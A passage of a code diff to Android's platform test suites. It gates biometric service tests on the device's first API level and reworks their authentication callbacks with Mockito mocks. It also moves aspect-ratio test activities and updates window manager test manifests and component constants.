     @Test
     public void testBiometricStrengthUpgraded_WeakSensor() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<Integer> sensors = getSensorsOfTargetStrength(SensorProperties.STRENGTH_WEAK);
         assumeTrue("testBiometricStrengthUpgraded_WeakSensor: numSensors: " + sensors.size(),
                 sensors.size() > 0);
@@ -479,6 +485,7 @@
      */
     @Test
     public void testBiometricStrengthUpgraded_ConvenienceSensor() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<Integer> sensors =
                 getSensorsOfTargetStrength(SensorProperties.STRENGTH_CONVENIENCE);
         assumeTrue("testBiometricStrengthUpgraded_ConvenienceSensor: numSensors=" + sensors.size(),
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTests.java
index 8a5da86..023ffaa 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTests.java
@@ -48,6 +48,7 @@
         // On devices with multiple strong sensors, adding enrollments to one strong sensor
         // must cause authenticatorIds for all other strong sensors to be invalidated, if they
         // (the other strong sensors) have enrollments.
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<Integer> strongSensors = new ArrayList<>();
         for (SensorProperties prop : mSensorProperties) {
             if (prop.getSensorStrength() == SensorProperties.STRENGTH_STRONG) {
@@ -118,6 +119,7 @@
         // ResetLockout only really needs to be applied when enrollments exist. Furthermore, some
         // interfaces may take this a step further and ignore resetLockout requests when no
         // enrollments exist.
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         List<BiometricTestSession> biometricSessions = new ArrayList<>();
         for (SensorProperties prop : mSensorProperties) {
             BiometricTestSession session = mBiometricManager.createTestSession(prop.getSensorId());
@@ -161,6 +163,7 @@
 
     @Test
     public void testLockoutResetRequestedAfterBiometricUnlock_whenStrong() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         assumeTrue(mSensorProperties.size() > 1);
 
         // ResetLockout only really needs to be applied when enrollments exist. Furthermore, some
@@ -255,6 +258,7 @@
 
     @Test
     public void testLockoutResetNotRequestedAfterBiometricUnlock_whenNotStrong() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         assumeTrue(mSensorProperties.size() > 1);
 
         // ResetLockout only really needs to be applied when enrollments exist. Furthermore, some
@@ -318,6 +322,7 @@
     public void testBiometricsRemovedWhenCredentialRemoved() throws Exception {
         // Manually keep track of sessions and do not use autocloseable, since we do not want the
         // test session to automatically cleanup and remove enrollments once we leave scope.
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<BiometricTestSession> biometricSessions = new ArrayList<>();
 
         try (CredentialSession session = new CredentialSession()) {
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
index a449266..e3d2bff 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
@@ -17,9 +17,14 @@
 package android.server.biometrics;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.anyObject;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.verify;
@@ -39,6 +44,7 @@
 import com.android.server.biometrics.nano.SensorStateProto;
 
 import org.junit.Test;
+import org.mockito.ArgumentCaptor;
 
 import java.util.Random;
 import java.util.concurrent.CountDownLatch;
@@ -57,6 +63,7 @@
      */
     @Test
     public void testEnroll() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (SensorProperties prop : mSensorProperties) {
             try (BiometricTestSession session =
                          mBiometricManager.createTestSession(prop.getSensorId())){
@@ -71,6 +78,7 @@
      */
     @Test
     public void testSensorPropertiesAndDumpsysMatch() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final BiometricServiceState state = getCurrentState();
 
         assertEquals(mSensorProperties.size(), state.mSensorStates.sensorStates.size());
@@ -84,12 +92,18 @@
      */
     @Test
     public void testPackageManagerAndDumpsysMatch() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final BiometricServiceState state = getCurrentState();
+        final PackageManager pm = mContext.getPackageManager();
         if (mSensorProperties.isEmpty()) {
             assertTrue(state.mSensorStates.sensorStates.isEmpty());
-        } else {
-            final PackageManager pm = mContext.getPackageManager();
 
+            assertFalse(pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT));
+            assertFalse(pm.hasSystemFeature(PackageManager.FEATURE_FACE));
+            assertFalse(pm.hasSystemFeature(PackageManager.FEATURE_IRIS));
+
+            assertTrue(state.mSensorStates.sensorStates.isEmpty());
+        } else {
             assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT),
                     state.mSensorStates.containsModality(SensorStateProto.FINGERPRINT));
             assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FACE),
@@ -101,6 +115,7 @@
 
     @Test
     public void testCanAuthenticate_whenNoSensors() {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         if (mSensorProperties.isEmpty()) {
             assertEquals(BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE,
                     mBiometricManager.canAuthenticate(Authenticators.BIOMETRIC_WEAK));
@@ -111,6 +126,7 @@
 
     @Test
     public void testInvalidInputs() {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (int i = 0; i < 32; i++) {
             final int authenticator = 1 << i;
             // If it's a public constant, no need to test
@@ -140,6 +156,7 @@
      */
     @Test
     public void testWhenCredentialNotEnrolled() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         // First case above
         final int result = mBiometricManager.canAuthenticate(BiometricManager
                 .Authenticators.DEVICE_CREDENTIAL);
@@ -177,6 +194,7 @@
      */
     @Test
     public void testWhenCredentialEnrolled() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         try (CredentialSession session = new CredentialSession()) {
             session.setCredential();
 
@@ -218,6 +236,44 @@
         }
     }
 
+    @Test
+    public void testSimpleBiometricAuth_convenience() throws Exception {
+        for (SensorProperties props : mSensorProperties) {
+            if (props.getSensorStrength() != SensorProperties.STRENGTH_CONVENIENCE) {
+                continue;
+            }
+
+            Log.d(TAG, "testSimpleBiometricAuth_convenience, sensor: " + props.getSensorId());
+
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(props.getSensorId())) {
+
+                // Let's just try to check+auth against WEAK, since CONVENIENCE isn't even
+                // exposed to public BiometricPrompt APIs (as intended).
+                final int authenticatorStrength = Authenticators.BIOMETRIC_WEAK;
+                assertNotEquals("Sensor: " + props.getSensorId()
+                                + ", strength: " + props.getSensorStrength(),
+                        BiometricManager.BIOMETRIC_SUCCESS,
+                        mBiometricManager.canAuthenticate(authenticatorStrength));
+
+                enrollForSensor(session, props.getSensorId());
+
+                assertNotEquals("Sensor: " + props.getSensorId()
+                                + ", strength: " + props.getSensorStrength(),
+                        BiometricManager.BIOMETRIC_SUCCESS,
+                        mBiometricManager.canAuthenticate(authenticatorStrength));
+
+                BiometricPrompt.AuthenticationCallback callback =
+                        mock(BiometricPrompt.AuthenticationCallback.class);
+
+                showDefaultBiometricPrompt(props.getSensorId(), 0 /* userId */,
+                        true /* requireConfirmation */, callback, new CancellationSignal());
+
+                verify(callback).onAuthenticationError(anyInt(), anyObject());
+            }
+        }
+    }
+
     /**
      * Tests that the values specified through the public APIs are shown on the BiometricPrompt UI
      * when biometric auth is requested.
@@ -226,7 +282,8 @@
      * {@link BiometricPrompt#AUTHENTICATION_RESULT_TYPE_BIOMETRIC}
      */
     @Test
-    public void testSimpleBiometricAuth() throws Exception {
+    public void testSimpleBiometricAuth_nonConvenience() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (SensorProperties props : mSensorProperties) {
             if (props.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
                 continue;
@@ -258,18 +315,8 @@
                 final String randomDescription = String.valueOf(random.nextInt(10000));
                 final String randomNegativeButtonText = String.valueOf(random.nextInt(10000));
 
-                CountDownLatch latch = new CountDownLatch(1);
                 BiometricPrompt.AuthenticationCallback callback =
-                        new BiometricPrompt.AuthenticationCallback() {
-                    @Override
-                    public void onAuthenticationSucceeded(
-                            BiometricPrompt.AuthenticationResult result) {
-                        assertEquals("Must be TYPE_BIOMETRIC",
-                                BiometricPrompt.AUTHENTICATION_RESULT_TYPE_BIOMETRIC,
-                                result.getAuthenticationType());
-                        latch.countDown();
-                    }
-                };
+                        mock(BiometricPrompt.AuthenticationCallback.class);
 
                 showDefaultBiometricPromptWithContents(props.getSensorId(), 0 /* userId */,
                         true /* requireConfirmation */, callback, randomTitle, randomSubtitle,
@@ -286,7 +333,13 @@
 
                 // Finish auth
                 successfullyAuthenticate(session, 0 /* userId */);
-                latch.await(3, TimeUnit.SECONDS);
+
+                ArgumentCaptor<BiometricPrompt.AuthenticationResult> resultCaptor =
+                        ArgumentCaptor.forClass(BiometricPrompt.AuthenticationResult.class);
+                verify(callback).onAuthenticationSucceeded(resultCaptor.capture());
+                assertEquals("Must be TYPE_BIOMETRIC",
+                        BiometricPrompt.AUTHENTICATION_RESULT_TYPE_BIOMETRIC,
+                        resultCaptor.getValue().getAuthenticationType());
             }
         }
     }
@@ -300,6 +353,7 @@
      */
     @Test
     public void testSimpleCredentialAuth() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         try (CredentialSession session = new CredentialSession()){
             session.setCredential();
 
@@ -341,6 +395,7 @@
      */
     @Test
     public void testBiometricCancellation() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (SensorProperties props : mSensorProperties) {
             if (props.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
                 continue;
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
index db0fd8b..d530223 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
@@ -376,19 +376,7 @@
                 .setAllowBackgroundAuthentication(true)
                 .setAllowedSensorIds(new ArrayList<>(Collections.singletonList(sensorId)))
                 .build();
-        prompt.authenticate(new CancellationSignal(), executor,
-                new BiometricPrompt.AuthenticationCallback() {
-                    @Override
-                    public void onAuthenticationError(int errorCode, CharSequence errString) {
-                        Log.d(TAG, "onAuthenticationError: " + errorCode);
-                    }
-
-                    @Override
-                    public void onAuthenticationSucceeded(
-                            BiometricPrompt.AuthenticationResult result) {
-                        Log.d(TAG, "onAuthenticationSucceeded");
-                    }
-                });
+        prompt.authenticate(new CancellationSignal(), executor, callback);
 
         waitForState(STATE_AUTH_STARTED_UI_SHOWING);
     }
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java b/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
index 2d2dea7..91e31ab 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
@@ -22,6 +22,7 @@
 import android.hardware.biometrics.BiometricManager;
 import android.hardware.biometrics.BiometricPrompt;
 import android.hardware.biometrics.SensorProperties;
+import android.os.SystemProperties;
 import android.os.ParcelFileDescriptor;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
@@ -264,4 +265,12 @@
                         + testApiStrength);
         }
     }
+
+    public static boolean isFirstApiLevel29orGreater() {
+        int firstApiLevel = SystemProperties.getInt("ro.product.first_api_level", 0);
+        if (firstApiLevel >= 29) {
+            return true;
+        }
+        return false;
+    }
 }
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
index 43725f2..a81d5c6 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
@@ -144,6 +144,7 @@
 
     @Test
     public void testEnroll() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (SensorProperties prop : mSensorProperties) {
             try (BiometricTestSession session
                          = mFingerprintManager.createTestSession(prop.getSensorId())){
@@ -172,6 +173,7 @@
 
     @Test
     public void testAuthenticateFromForegroundActivity() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         // Turn screen on and dismiss keyguard
         UiDeviceUtils.pressWakeupButton();
         UiDeviceUtils.pressUnlockButton();
@@ -231,6 +233,7 @@
 
     @Test
     public void testRejectThenErrorFromForegroundActivity() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         // Turn screen on and dismiss keyguard
         UiDeviceUtils.pressWakeupButton();
         UiDeviceUtils.pressUnlockButton();
@@ -323,4 +326,4 @@
         final BiometricServiceState state = Utils.getBiometricServiceCurrentState();
         return state.mSensorStates.containsModalityFlag(SensorStateProto.FINGERPRINT_UDFPS);
     }
-}
\ No newline at end of file
+}
diff --git a/tests/framework/base/suggestions/AndroidTest.xml b/tests/framework/base/suggestions/AndroidTest.xml
index 314acd5..e69cddc 100644
--- a/tests/framework/base/suggestions/AndroidTest.xml
+++ b/tests/framework/base/suggestions/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 97c6d97..de55690 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -37,57 +37,6 @@
          android:requestLegacyExternalStorage="true">
         <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioActivity"
-             android:label="MaxAspectRatioActivity"
-             android:maxAspectRatio="1.0"
-             android:resizeableActivity="false"/>
-
-        <activity android:name="android.server.wm.AspectRatioTests$MetaDataMaxAspectRatioActivity"
-             android:label="MetaDataMaxAspectRatioActivity"
-             android:resizeableActivity="false">
-            <meta-data android:name="android.max_aspect"
-                 android:value="1.0"/>
-        </activity>
-
-        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioResizeableActivity"
-             android:label="MaxAspectRatioResizeableActivity"
-             android:maxAspectRatio="1.0"
-             android:resizeableActivity="true"/>
-
-        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioUnsetActivity"
-             android:label="MaxAspectRatioUnsetActivity"
-             android:resizeableActivity="false"/>
-
-        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioActivity"
-             android:label="MinAspectRatioActivity"
-             android:minWidth="1dp"
-             android:minAspectRatio="3.0"
-             android:resizeableActivity="false"/>
-
-        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioResizeableActivity"
-             android:label="MinAspectRatioResizeableActivity"
-             android:minWidth="1dp"
-             android:minAspectRatio="3.0"
-             android:resizeableActivity="true"/>
-
-        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioUnsetActivity"
-             android:label="MinAspectRatioUnsetActivity"
-             android:resizeableActivity="false"/>
-
-        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioLandscapeActivity"
-             android:label="MinAspectRatioLandscapeActivity"
-             android:minWidth="1dp"
-             android:minAspectRatio="3.0"
-             android:resizeableActivity="false"
-             android:screenOrientation="landscape"/>
-
-        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioPortraitActivity"
-             android:label="MinAspectRatioPortraitActivity"
-             android:minWidth="1dp"
-             android:minAspectRatio="3.0"
-             android:resizeableActivity="false"
-             android:screenOrientation="portrait"/>
-
         <activity android:name="android.server.wm.ActivityManagerTestBase$ConfigChangeHandlingActivity"
              android:resizeableActivity="true"
              android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
@@ -242,6 +191,9 @@
         <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$FinishOnTaskLaunchActivity"
                   android:finishOnTaskLaunch="true"
                   android:exported="true"/>
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$RelinquishTaskIdentityActivity"
+                  android:exported="true"
+                  android:relinquishTaskIdentity="true"/>
 
         <provider android:name="android.server.wm.TestJournalProvider"
              android:authorities="android.server.wm.testjournalprovider"
@@ -357,6 +309,8 @@
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$ImmersiveFullscreenTestActivity"
              android:documentLaunchMode="always"
              android:theme="@style/no_animation"/>
+        <activity android:name="android.server.wm.WindowInsetsPolicyTest$NaturalOrientationTestActivity"
+                  android:screenOrientation="nosensor"/>
         <activity android:name="android.server.wm.LayoutTests$TestActivity"
              android:theme="@style/no_animation"/>
         <activity android:name="android.server.wm.LocationOnScreenTests$TestActivity"
@@ -382,7 +336,8 @@
         <activity android:name="android.server.wm.WindowInsetsLayoutTests$TestActivity"/>
         <activity android:name="android.server.wm.WindowInsetsControllerTests$TestActivity"
                   android:theme="@style/no_starting_window"/>
-        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"/>
+        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"
+                  android:windowSoftInputMode="adjustPan|stateUnchanged"/>
         <activity android:name="android.server.wm.WindowInsetsControllerTests$TestShowOnCreateActivity"/>
 
         <activity android:name="android.server.wm.DragDropTest$DragDropActivity"
@@ -484,7 +439,9 @@
         <activity android:name="android.server.wm.ActivityTransitionTests$TransitionActivity"/>
 
         <activity android:name="android.server.wm.WindowUntrustedTouchTest$TestActivity"
-                  android:exported="true"/>
+                  android:exported="true"
+                  android:configChanges="screenSize|screenLayout|orientation"
+                  android:screenOrientation="nosensor" />
 
         <activity android:name="android.server.wm.DisplayHashManagerTest$TestActivity"
                    android:exported="true"/>
@@ -494,17 +451,20 @@
                   android:screenOrientation="portrait"
                   android:exported="true"/>
 
-        <activity android:name="android.server.wm.CompatChangeTests$ResizeableLargeAspectRatioActivity"
-                  android:resizeableActivity="true"
-                  android:screenOrientation="portrait"
-                  android:minAspectRatio="3"
-                  android:exported="true"/>
-
         <activity android:name="android.server.wm.CompatChangeTests$NonResizeablePortraitActivity"
                   android:resizeableActivity="false"
                   android:screenOrientation="portrait"
                   android:exported="true"/>
 
+        <activity android:name="android.server.wm.CompatChangeTests$NonResizeableLandscapeActivity"
+                  android:resizeableActivity="false"
+                  android:screenOrientation="landscape"
+                  android:exported="true"/>
+
+        <activity android:name="android.server.wm.CompatChangeTests$NonResizeableNonFixedOrientationActivity"
+                  android:resizeableActivity="false"
+                  android:exported="true"/>
+
         <activity android:name="android.server.wm.CompatChangeTests$NonResizeableAspectRatioActivity"
                   android:resizeableActivity="false"
                   android:screenOrientation="portrait"
@@ -542,6 +502,33 @@
             android:name="androidx.test.core.app.InstrumentationActivityInvoker$BootstrapActivity"
             tools:replace="android:theme"
             android:theme="@style/WhiteBackgroundTheme" />
+        <activity android:name="android.server.wm.SplitActivityLifecycleTest$ActivityA"
+                  android:exported="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+        <activity android:name="android.server.wm.SplitActivityLifecycleTest$ActivityB"
+                  android:exported="true"
+                  android:taskAffinity=".TaskFragmentB.embeddedTask"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+        <activity android:name="android.server.wm.SplitActivityLifecycleTest$ActivityC"
+                  android:exported="true"
+                  android:taskAffinity=".TaskFragmentB.embeddedTask"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+        <activity android:name="android.server.wm.SplitActivityLifecycleTest$TranslucentActivity"
+                  android:exported="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
+                  android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+
+        <activity android:name="android.server.wm.HostActivity"
+                  android:exported="true">
+               <intent-filter>
+                 <action android:name="android.server.wm.app.HostActivity"/>
+               </intent-filter>
+               <intent-filter>
+                 <action android:name="android.intent.action.MAIN"/>
+                 <category android:name="android.intent.category.LAUNCHER"/>
+               </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 1d3a0c0..fbbbbca 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -398,11 +398,11 @@
              android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrActivity"
+             android:configChanges="keyboard|keyboardHidden|navigation"
              android:showWhenLocked="true"
              android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
-             android:configChanges="keyboard|keyboardHidden|navigation"
              android:showWhenLocked="true"
              android:exported="true"/>
 
@@ -573,14 +573,9 @@
            </intent-filter>
         </service>
 
-        <activity android:name=".HostActivity"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.server.wm.app.HostActivity"/>
-            </intent-filter>
-        </activity>
         <service android:name=".RenderService"
-             android:process=".render_process"/>
+             android:process=".render_process"
+             android:exported="true"/>
         <activity android:name=".ClickableToastActivity"
              android:exported="true"/>
         <activity android:name=".MinimalPostProcessingActivity"
@@ -633,5 +628,52 @@
 
         <service android:name=".OverlayTestService"
                  android:exported="true" />
+
+        <!-- Aspect Ratio Test Activities -->
+        <activity android:name=".MaxAspectRatioActivity"
+                  android:label="MaxAspectRatioActivity"
+                  android:maxAspectRatio="1.0"
+                  android:resizeableActivity="false"
+                  android:exported="true"/>
+        <activity android:name=".MetaDataMaxAspectRatioActivity"
+                  android:label="MetaDataMaxAspectRatioActivity"
+                  android:resizeableActivity="false"
+                  android:exported="true">
+            <meta-data android:name="android.max_aspect"
+                       android:value="1.0"/>
+        </activity>
+        <activity android:name=".MaxAspectRatioResizableActivity"
+                  android:label="MaxAspectRatioResizeableActivity"
+                  android:maxAspectRatio="1.0"
+                  android:resizeableActivity="true"
+                  android:exported="true"/>
+        <activity android:name=".MaxAspectRatioUnsetActivity"
+                  android:label="MaxAspectRatioUnsetActivity"
+                  android:resizeableActivity="false"
+                  android:exported="true"/>
+        <activity android:name=".MinAspectRatioActivity"
+                  android:label="MinAspectRatioActivity"
+                  android:minWidth="1dp"
+                  android:minAspectRatio="3.0"
+                  android:resizeableActivity="false"
+                  android:exported="true"/>
+        <activity android:name=".MinAspectRatioUnsetActivity"
+                  android:label="MinAspectRatioUnsetActivity"
+                  android:resizeableActivity="false"
+                  android:exported="true"/>
+        <activity android:name=".MinAspectRatioLandscapeActivity"
+                  android:label="MinAspectRatioLandscapeActivity"
+                  android:minWidth="1dp"
+                  android:minAspectRatio="3.0"
+                  android:resizeableActivity="false"
+                  android:screenOrientation="landscape"
+                  android:exported="true"/>
+        <activity android:name=".MinAspectRatioPortraitActivity"
+                  android:label="MinAspectRatioPortraitActivity"
+                  android:minWidth="1dp"
+                  android:minAspectRatio="3.0"
+                  android:resizeableActivity="false"
+                  android:screenOrientation="portrait"
+                  android:exported="true"/>
     </application>
 </manifest>
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
index 82c3770..2258da2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
@@ -47,13 +47,14 @@
             final Intent launchIntent = new Intent();
             launchIntent.setComponent(launchActivity)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
-            final ActivityOptions activityOptions = ActivityOptions.makeBasic();
-            activityOptions.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
             if (getIntent().hasExtra(EXTRA_ASSISTANT_DISPLAY_ID)) {
-                activityOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
+                ActivityOptions displayOptions = ActivityOptions.makeBasic();
+                displayOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
                         .getStringExtra(EXTRA_ASSISTANT_DISPLAY_ID)));
+                startActivity(launchIntent, displayOptions.toBundle());
+            } else {
+                startActivity(launchIntent);
             }
-            startActivity(launchIntent, activityOptions.toBundle());
         }
 
         // Enter pip if requested
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index de0826d..79499f7 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -192,6 +192,22 @@
     public static final ComponentName ALIAS_TEST_ACTIVITY = component("AliasTestActivity");
     public static final ComponentName DISPLAY_ACCESS_CHECK_EMBEDDING_ACTIVITY = component(
             "DisplayAccessCheckEmbeddingActivity");
+    public static final ComponentName MAX_ASPECT_RATIO_ACTIVITY =
+            component("MaxAspectRatioActivity");
+    public static final ComponentName MAX_ASPECT_RATIO_RESIZABLE_ACTIVITY =
+            component("MaxAspectRatioResizableActivity");
+    public static final ComponentName MAX_ASPECT_RATIO_UNSET_ACTIVITY =
+            component("MaxAspectRatioUnsetActivity");
+    public static final ComponentName META_DATA_MAX_ASPECT_RATIO_ACTIVITY =
+            component("MetaDataMaxAspectRatioActivity");
+    public static final ComponentName MIN_ASPECT_RATIO_ACTIVITY =
+            component("MinAspectRatioActivity");
+    public static final ComponentName MIN_ASPECT_RATIO_LANDSCAPE_ACTIVITY =
+            component("MinAspectRatioLandscapeActivity");
+    public static final ComponentName MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY =
+            component("MinAspectRatioPortraitActivity");
+    public static final ComponentName MIN_ASPECT_RATIO_UNSET_ACTIVITY =
+            component("MinAspectRatioUnsetActivity");
 
     public static final ComponentName ASSISTANT_VOICE_INTERACTION_SERVICE =
             component("AssistantVoiceInteractionService");
@@ -563,6 +579,12 @@
 
     public static class RenderService {
         public static final String PROCESS_NAME = ".render_process";
+        public static final String EXTRAS_BUNDLE = "EXTRAS_BUNDLE";
+        public static final String EXTRAS_DISPLAY_ID = "EXTRAS_DISPLAY_ID";
+        public static final String EXTRAS_HOST_TOKEN = "EXTRAS_HOST_TOKEN";
+        public static final String BROADCAST_EMBED_CONTENT =
+                "android.server.wm.app.RenderService.EMBED_CONTENT";
+        public static final String EXTRAS_SURFACE_PACKAGE = "surfacePackage";
     }
 
     /**
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioActivity.java
similarity index 70%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
copy to tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioActivity.java
index 936827b..0e1de9e 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioActivity.java
@@ -11,13 +11,12 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.bedstead.testapp;
+package android.server.wm.app;
 
-/** Details about a queryable test app. */
-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
-}
+import android.app.Activity;
+
+// Test target activity that has maxAspectRatio="true" and resizeableActivity="false".
+public class MaxAspectRatioActivity extends Activity {}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioResizableActivity.java
similarity index 70%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
copy to tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioResizableActivity.java
index 936827b..eeb7d00 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioResizableActivity.java
@@ -11,13 +11,12 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.bedstead.testapp;
+package android.server.wm.app;
 
-/** Details about a queryable test app. */
